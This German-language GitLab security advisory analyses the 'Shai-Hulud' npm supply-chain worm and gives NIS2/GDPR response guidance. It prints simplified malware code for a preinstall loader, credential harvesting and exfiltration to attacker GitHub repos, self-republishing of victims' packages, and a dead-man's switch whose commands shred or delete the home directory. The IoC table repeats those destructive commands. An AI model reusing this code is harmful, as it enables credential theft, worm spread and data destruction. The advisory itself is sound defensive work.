GitLab identifiziert aktiven Lieferketten-Angriff auf npm

GitLabs Vulnerability-Research-Team hat einen großflächigen aktiven Lieferketten-Angriff auf das npm-Ökosystem identifiziert. Die Bedrohung involviert eine hochentwickelte Malware-Variante mit destruktiven Fähigkeiten. Das interne Monitoring-System entdeckte mehrere infizierte Pakete mit einer weiterentwickelten Version der "Shai-Hulud"-Malware.

Die Analyse zeigt wurmartige Verbreitungsmechanismen, die automatisch weitere Pakete infizieren, die von betroffenen Entwicklerinnen und Entwicklern verwaltet werden. Am kritischsten ist die Entdeckung eines "Dead-Man's-Switch"-Mechanismus: Falls die Verbreitungs- und Exfiltrationskanäle der Malware gekappt werden, droht die Zerstörung von Nutzerdaten.

GitLab verwendet keine der schadhaften Pakete. Diese Erkenntnisse werden mit der Security-Community geteilt, um eine wirksame Reaktion zu ermöglichen.

NIS2-Relevanz und Meldepflichten

Dieser Supply-Chain-Angriff fällt unter die NIS2-Richtlinie Artikel 21 (Cybersecurity-Risikomanagement-Maßnahmen) und Artikel 23 (Meldepflichten). Wesentliche und wichtige Einrichtungen in Deutschland müssen bei erkannten Kompromittierungen:

• Innerhalb 24 Stunden eine Früherkennung an zuständige Behörden übermitteln
• Systematische Risikobewertung der eigenen Lieferkette durchführen
• Technische und organisatorische Maßnahmen zur Schwachstellenerkennung implementieren

DSGVO Artikel 32 ist ebenfalls relevant: Die Credential-Exfiltration durch diese Malware stellt unbefugten Zugang zu personenbezogenen Daten dar und erfordert angemessene technische Sicherheitsmaßnahmen.

Reaktions-Checkliste für deutsche Unternehmen

Sofortige Überprüfung (innerhalb 1-2 Stunden):

1. npm-Pakete scannen: npm audit in allen Projekten ausführen
2. Filesystem-Scan: Suche nach IoC-Indikatoren (siehe Tabelle unten)
3. GitHub-Repository-Check: Suche nach "Sha1-Hulud: The Second Coming" in Beschreibungen
4. Token-Audit: Überprüfung aller npm- und GitHub-Tokens auf unbefugte Zugriffe

Systematische Analyse (24-48 Stunden):

1. Prüfung aller package.json-Dateien auf preinstall-Scripts mit Bun-Installationen
2. Netzwerkverkehr-Analyse auf Verbindungen zu unbekannten GitHub-Repositories
3. Credential-Management-Review gemäß DSGVO Artikel 32

Koordinierte Reaktion: Vermeidung von massenhafter Token-Sperrung ohne Abstimmung – der Dead-Man's-Switch könnte Datenverlust auf Tausenden Systemen auslösen.

Anatomie des Angriffs

Das interne Monitoring-System, das Open-Source-Paket-Registries auf schädliche Pakete scannt, identifizierte mehrere npm-Pakete mit hochentwickelter Malware. Diese führt aus:

• Harvesting von Credentials (GitHub, npm, AWS, GCP, Azure)
• Exfiltration gestohlener Daten zu Attacker-kontrollierten GitHub-Repositories
• Automatische Propagierung durch Infektion weiterer Pakete der Opfer
• Destruktive Payload, die bei Infrastruktur-Verlust aktiviert wird

Mehrere infizierte Pakete sind bestätigt. Der wurmartige Propagierungsmechanismus bedeutet, dass viele weitere Pakete kompromittiert sein dürften. Die Untersuchung läuft, um den vollständigen Umfang zu erfassen.

Technische Analyse: Systematischer Bedrohungsverlauf

Die systematische Analyse des Bedrohungsverlaufs zeigt sieben distinkte Stufen: Von der initialen Infektion über Credential-Harvesting und Exfiltration bis zur Supply-Chain-Propagierung. Der Dead-Man's-Switch bildet eine Entscheidungsverzweigung: Bei Infrastruktur-Zugriff erfolgt Exfiltration, bei Verlust beider Kanäle (GitHub und npm) wird Datenzerstörung ausgelöst.

Diese systematische Darstellung ermöglicht es deutschen Sicherheitsteams, an mehreren Punkten der Kill Chain Detektionsmaßnahmen zu implementieren – ein Ansatz, der mit NIS2 Artikel 21 (mehrschichtige Sicherheitsmaßnahmen) harmoniert.

Initialer Infektionsvektor

Die Malware infiltriert Systeme durch einen sorgfältig konzipierten mehrstufigen Ladeprozess. Infizierte Pakete enthalten eine modifizierte package.json mit einem Preinstall-Script, das auf setup_bun.js verweist. Dieses Loader-Script erscheint harmlos – es gibt vor, die Bun-JavaScript-Runtime zu installieren, ein legitimes Werkzeug. Der tatsächliche Zweck ist jedoch die Etablierung der Malware-Ausführungsumgebung.

// Diese Datei wird den Opfer-Paketen als setup_bun.js hinzugefügt
#!/usr/bin/env node
async function downloadAndSetupBun() {
  // Lädt und installiert Bun
  let command = process.platform === 'win32' 
    ? 'powershell -c "irm bun.sh/install.ps1|iex"'
    : 'curl -fsSL https://bun.sh/install | bash';
  
  execSync(command, { stdio: 'ignore' });
  
  // Führt die eigentliche Malware aus
  runExecutable(bunPath, ['bun_environment.js']);
}

Der setup_bun.js-Loader lädt die Bun-Runtime oder lokalisiert sie auf dem System, führt dann die gebündelte bun_environment.js-Payload aus – eine 10 MB große obfuskierte Datei, die bereits im infizierten Paket vorhanden ist. Dieser Ansatz bietet mehrere Evasion-Schichten: Der initiale Loader ist klein und scheinbar legitim, während der eigentliche schädliche Code stark obfuskiert und in eine Datei gebündelt ist, die für beiläufige Inspektion zu groß ist.

ISO 27001 A.12.6-Relevanz: Diese Evasion-Technik unterstreicht die Notwendigkeit systematischer Preinstall-Script-Überprüfung. Deutsche Unternehmen sollten CI/CD-Pipelines so konfigurieren, dass unerwartete Runtime-Downloads während Paket-Installationen gemeldet werden.

Credential-Harvesting

Nach Ausführung beginnt die Malware sofort mit Credential-Discovery über mehrere Quellen:

• GitHub-Tokens: Suche in Umgebungsvariablen und GitHub-CLI-Konfigurationen nach Tokens beginnend mit ghp_ (GitHub Personal Access Token) oder gho_ (GitHub OAuth Token)
• Cloud-Credentials: Enumeration von AWS-, GCP- und Azure-Credentials mittels offizieller SDKs, Prüfung von Umgebungsvariablen, Config-Dateien und Metadaten-Services
• npm-Tokens: Extraktion von Tokens für Paket-Publishing aus .npmrc-Dateien und Umgebungsvariablen – gängige Speicherorte für sicher abgelegte sensible Konfigurationen und Credentials
• Filesystem-Scanning: Download und Ausführung von Trufflehog, einem legitimen Security-Tool, um das gesamte Home-Verzeichnis nach API-Keys, Passwörtern und anderen Secrets in Konfigurationsdateien, Quellcode oder Git-History zu durchsuchen

async function scanFilesystem() {
  let scanner = new Trufflehog();
  await scanner.initialize();
  
  // Scannt das Home-Verzeichnis auf Secrets
  let findings = await scanner.scanFilesystem(os.homedir());
  
  // Lädt Funde zum Exfiltrations-Repository hoch
  await github.saveContents("truffleSecrets.json", 
    JSON.stringify(findings));
}

DSGVO Artikel 32-Implikation: Diese umfassende Credential-Exfiltration stellt einen Fall von "unbefugtem Zugang zu personenbezogenen Daten" dar, wie in DSGVO Artikel 32 Absatz 2 beschrieben. Organisationen müssen technische Maßnahmen implementieren, um Credentials vom Filesystem zu isolieren – beispielsweise durch Nutzung von Secrets-Management-Systemen statt Umgebungsvariablen.

Exfiltrations-Netzwerk

Die Malware nutzt gestohlene GitHub-Tokens, um öffentliche Repositories mit einer spezifischen Markierung in deren Beschreibung zu erstellen: "Sha1-Hulud: The Second Coming." Diese Repositories dienen als Dropboxes für gestohlene Credentials und Systeminformationen.

async function createRepo(name) {
  // Erstellt ein Repository mit spezifischer Beschreibungs-Markierung
  let repo = await this.octokit.repos.createForAuthenticatedUser({
    name: name,
    description: "Sha1-Hulud: The Second Coming.", // Markierung zum späteren Auffinden
    private: false,
    auto_init: false,
    has_discussions: true
  });
  
  // Installiert GitHub-Actions-Runner für Persistenz
  if (await this.checkWorkflowScope()) {
    let token = await this.octokit.request(
      "POST /repos/{owner}/{repo}/actions/runners/registration-token"
    );
    await installRunner(token); // Installiert Self-Hosted-Runner
  }
  
  return repo;
}

Systematische Detektionsmöglichkeit: Die explizite Markierung "Sha1-Hulud: The Second Coming" ermöglicht deutschen Sicherheitsteams eine reproduzierbare Suchmethode. Durch GitHub-Suche nach dieser exakten Zeichenfolge lassen sich kompromittierte Developer-Accounts systematisch identifizieren – ein Ansatz, der mit NIS2 Artikel 21 (Fähigkeit zur systematischen Vorfallserkennung) harmoniert.

Kritisch: Falls das initiale GitHub-Token unzureichende Berechtigungen besitzt, durchsucht die Malware andere kompromittierte Repositories mit derselben Markierung, um Tokens von anderen infizierten Systemen abzurufen. Dies schafft ein resilientes Botnet-artiges Netzwerk, in dem kompromittierte Systeme Access-Tokens teilen.

// Token-Sharing im Malware-Netzwerk:
async fetchToken() {
  // Suche auf GitHub nach Repositories mit Identifikations-Markierung
  let results = await this.octokit.search.repos({
    q: '"Sha1-Hulud: The Second Coming."',
    sort: "updated"
  });
  
  // Versuch, Tokens aus kompromittierten Repos abzurufen
  for (let repo of results) {
    let contents = await fetch(
      `https://raw.githubusercontent.com/${repo.owner}/${repo.name}/main/contents.json`
    );
    
    let data = JSON.parse(Buffer.from(contents, 'base64').toString());
    let token = data?.modules?.github?.token;
    
    if (token && await validateToken(token)) {
      return token;  // Token von anderem infizierten System nutzen
    }
  }
  return null;  // Keine gültigen Tokens im Netzwerk gefunden
}

NIS2 Artikel 22-Relevanz: Dieses selbstheilende Netzwerk erfordert koordinierte Sicherheits-Risikobewertungen kritischer Lieferketten. Einzelne Token-Sperrungen sind unzureichend – eine systematische, abgestimmte Reaktion ist erforderlich, um das Netzwerk zu stören, ohne den Dead-Man's-Switch auszulösen.

Supply-Chain-Propagierung

Mittels gestohlener npm-Tokens führt die Malware aus:

1. Download aller vom Opfer verwalteten Pakete
2. Injektion des setup_bun.js-Loaders in die Preinstall-Scripts jedes Pakets
3. Bundling der schadhaften bun_environment.js-Payload
4. Inkrementierung der Paket-Versionsnummer
5. Republishing der infizierten Pakete zu npm

async function updatePackage(packageInfo) {
  // Download Original-Paket
  let tarball = await fetch(packageInfo.tarballUrl);
  
  // Extraktion und Modifikation von package.json
  let packageJson = JSON.parse(await readFile("package.json"));
  
  // Hinzufügen schadhaften Preinstall-Scripts
  packageJson.scripts.preinstall = "node setup_bun.js";
  
  // Inkrementierung Version
  let version = packageJson.version.split(".").map(Number);
  version[2] = (version[2] || 0) + 1;
  packageJson.version = version.join(".");
  
  // Bundling Backdoor-Installer
  await writeFile("setup_bun.js", BACKDOOR_CODE);
  
  // Repackaging und Publishing
  await Bun.$`npm publish ${modifiedPackage}`.env({
    NPM_CONFIG_TOKEN: this.token
  });
}

NIS2 Artikel 21(2)(d)-Implikation: Dies illustriert Supply-Chain-Sicherheitsaspekte im Zusammenhang mit direkten Lieferanten und Service-Providern. npm-Token-Sicherheit wird zum kritischen Kontrollpunkt – Kompromittierung eines einzelnen Entwickler-Accounts führt zur exponentiellen Verbreitung über dessen gesamtes Paket-Portfolio.

Prävention: Implementierung von OIDC-basierter keyless Authentication für npm-Publishing (wie in GitLab CI/CD verfügbar) eliminiert langlebige Tokens und reduziert das Credential-Theft-Risiko signifikant.

Der Dead-Man's-Switch

Die Analyse deckte eine destruktive Payload auf, die zum Schutz der Malware-Infrastruktur gegen Takedown-Versuche konzipiert ist.

Die Malware überwacht kontinuierlich ihren Zugang zu GitHub (für Exfiltration) und npm (für Propagierung). Falls ein infiziertes System Zugriff auf beide Kanäle simultan verliert, löst dies sofortige Datenzerstörung auf dem kompromittierten System aus. Auf Windows wird versucht, alle User-Dateien zu löschen und Disk-Sektoren zu überschreiben. Auf Unix-Systemen nutzt es shred, um Dateien vor Löschung zu überschreiben, wodurch Recovery nahezu unmöglich wird.

// KRITISCH: Token-Validierungsfehler löst Zerstörung aus
async function aL0() {
  let githubApi = new dq();
  let npmToken = process.env.NPM_TOKEN || await findNpmToken();
  
  // Versuch, GitHub-Zugang zu finden oder zu erstellen
  if (!githubApi.isAuthenticated() || !githubApi.repoExists()) {
    let fetchedToken = await githubApi.fetchToken(); // Suche nach Tokens in kompromittierten Repos
    
    if (!fetchedToken) {  // Kein GitHub-Zugang möglich
      if (npmToken) {
        // Fallback zu reiner NPM-Propagierung
        await El(npmToken);
      } else {
        // ZERSTÖRUNGS-TRIGGER: Kein GitHub UND kein NPM-Zugang
        console.log("Error 12");
        if (platform === "windows") {
          // Versuch, alle User-Dateien zu löschen und Disk-Sektoren zu überschreiben
          Bun.spawnSync(["cmd.exe", "/c", 
            "del /F /Q /S \"%USERPROFILE%*\" && " +
            "for /d %%i in (\"%USERPROFILE%*\") do rd /S /Q \"%%i\" & " +
            "cipher /W:%USERPROFILE%"  // Überschreibt gelöschte Daten
          ]);
        } else {
          // Versuch, alle schreibbaren Dateien im Home-Verzeichnis zu shreddern
          Bun.spawnSync(["bash", "-c", 
            "find \"$HOME\" -type f -writable -user \"$(id -un)\" -print0 | " +
            "xargs -0 -r shred -uvz -n 1 && " +  // Überschreibt und löscht
            "find \"$HOME\" -depth -type d -empty -delete"  // Entfernt leere Verzeichnisse
          ]);
        }
        process.exit(0);
      }
    }
  }
}

NIS2 Artikel 23-Implikation für Incident Response: Dies schafft ein gefährliches Szenario. Falls GitHub massenweise die Repositories der Malware löscht oder npm Bulk-Revocation kompromittierter Tokens durchführt, könnten Tausende infizierter Systeme simultan Nutzerdaten zerstören. Die verteilte Natur des Angriffs bedeutet, dass jede infizierte Maschine unabhängig den Zugriff überwacht und bei erkanntem Takedown Löschung der Nutzerdaten auslöst.

Koordinierte Reaktionsplanung erforderlich: Deutsche Unternehmen müssen NIS2 Artikel 23 (dreistufige Meldeverfahren) befolgen, aber auch vermeiden, voreilig Tokens zu sperren, ohne die Dead-Man's-Switch-Implikationen zu berücksichtigen. Systematische Planung mit zuständigen Behörden ist erforderlich.

Indicators of Compromise

Zur Unterstützung von Detection und Response: Umfassende Liste der identifizierten Key-Indicators of Compromise (IoCs).

Typ	Indikator	Beschreibung
file	bun_environment.js	Schadhafte Post-Install-Scripte in node_modules-Verzeichnissen
directory	.truffler-cache/	Verstecktes Verzeichnis im User-Home für Trufflehog-Binary-Speicherung
directory	.truffler-cache/extract/	Temporäres Verzeichnis für Binary-Extraktion
file	.truffler-cache/trufflehog	Heruntergeladenes Trufflehog-Binary (Linux/Mac)
file	.truffler-cache/trufflehog.exe	Heruntergeladenes Trufflehog-Binary (Windows)
process	del /F /Q /S "%USERPROFILE%*"	Windows-Destruktiv-Payload-Befehl
process	shred -uvz -n 1	Linux/Mac-Destruktiv-Payload-Befehl
process	cipher /W:%USERPROFILE%	Windows-Secure-Deletion-Befehl in Payload
command	curl -fsSL https://bun.sh/install | bash	Verdächtige Bun-Installation während NPM-Paket-Installation
command	powershell -c "irm bun.sh/install.ps1|iex"	Windows-Bun-Installation via PowerShell

Systematische Überprüfung: Deutsche Sicherheitsteams können diese IoC-Tabelle für Filesystem-Scans nutzen. Die Präsenz eines dieser Indikatoren erfordert sofortige Isolation des betroffenen Systems und Token-Audit gemäß obiger Reaktions-Checkliste.

Ausblick

Diese Kampagne repräsentiert eine Evolution in Supply-Chain-Angriffen: Die Androhung von Kollateralschäden wird zum primären Verteidigungsmechanismus für die Attacker-Infrastruktur. Die Untersuchung läuft, während die Zusammenarbeit mit der Community erfolgt, um den vollständigen Umfang zu verstehen und sichere Remediation-Strategien zu entwickeln.

GitLabs automatisierte Detektionssysteme überwachen kontinuierlich auf neue Infektionen und Varianten dieses Angriffs. Durch frühzeitiges Teilen der Erkenntnisse soll der Community geholfen werden, wirksam zu reagieren und dabei die Fallstricke des Dead-Man's-Switch-Designs zu vermeiden.

Für deutsche Unternehmen: Nutzen von GitLabs internen Monitoring-Fähigkeiten durch Integration von Dependency-Scanning in CI/CD-Pipelines. Dies ermöglicht systematische Früherkennung schadhafter Pakete vor Production-Deployment – ein Ansatz, der sowohl NIS2 Artikel 21 als auch DSGVO Artikel 32 erfüllt.